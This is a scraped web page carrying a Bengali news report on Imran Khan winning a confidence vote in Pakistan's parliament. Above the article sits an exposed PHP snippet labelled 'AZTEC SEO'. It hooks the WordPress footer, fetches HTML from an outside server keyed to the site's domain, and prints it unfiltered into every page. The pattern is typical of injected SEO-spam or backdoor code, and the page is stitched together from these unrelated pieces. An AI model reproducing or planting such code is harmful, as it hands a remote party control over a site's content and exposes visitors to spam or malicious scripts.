/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
পাকিস্তানের প্রধানমন্ত্রী ইমরান খান আস্থা ভোটে বিজয়ী হয়েছেন। ক্ষমতা থেকে বিদায় নেয়ার জন্য দেশটির বিরোধীদলগুলোর পক্ষ থেকে ইমরান খানের ওপর ব্যাপক চাপ সৃষ্টি করা হলে সংসদে আস্থা ভোটের আয়োজন করা হয়। কিন্তু শেষ পর্যন্ত সেই ভোটে বিজয়ী হয়েছেন ইমরান খান।
পাকিস্তানের জাতীয় সংসদের নিম্নকক্ষে এই ভোটাভুটির আয়োজন করা হয়। ৩৪২ জন সদস্যের মধ্যে ইমরান খানের পক্ষে ভোট দিয়েছেন ১৭৮ জন। প্রেসিডেন্ট আরিফ আলভি সংসদের বিশেষ অধিবেশন আহ্বান করে আস্থা ভোটের আয়োজন করেন। আস্থা ভোটে জিততে ইমরান খানের দরকার ছিল ১৭২ জন সংসদ সদস্যের সমর্থন। ১১ দলীয় জোট পাকিস্তান ডেমোক্রেটিক মুভমেন্ট বা পিডিএম আজকের ভোট বর্জন করে।
গত বুধবার সিনেট নির্বাচনে ইমরান খানের মন্ত্রিসভার অর্থমন্ত্রী আব্দুল হাফিজ শেখ পরাজিত হলে সরকারের বৈধতা অনিশ্চয়তার মুখে পড়ে। এছাড়া, বিরোধীদের পক্ষ থেকে ক্ষমতা ছাড়ার বিষয়ে চাপ সৃষ্টি হলে ইমরান খান আস্থা ভোটের বিষয়টি বিবেচনায় নেন।
গত বৃহস্পতিবার ইমরান খান টেলিভিশনে দেয়া ভাষণে বলেছিলেন, “আমি আস্থা ভোটের আয়োজন করব এবং সংসদ সদস্যদের সমর্থনের বিষয়টি দেখবো যদি তারা আমার প্রতি অনাস্থা প্রকাশ করেন তাহলে আমি বিরোধীদলে বসব। যদি আমি সরকার থেকে সরে দাঁড়াই তাহলে আমি আবার জনগণের কাছে ফিরে যাবো এবং দেশের জন্য আমি আমার অব্যাহত সংগ্রামের তাদেরকে শামিল করবো।” সূত্র : পার্সটুডে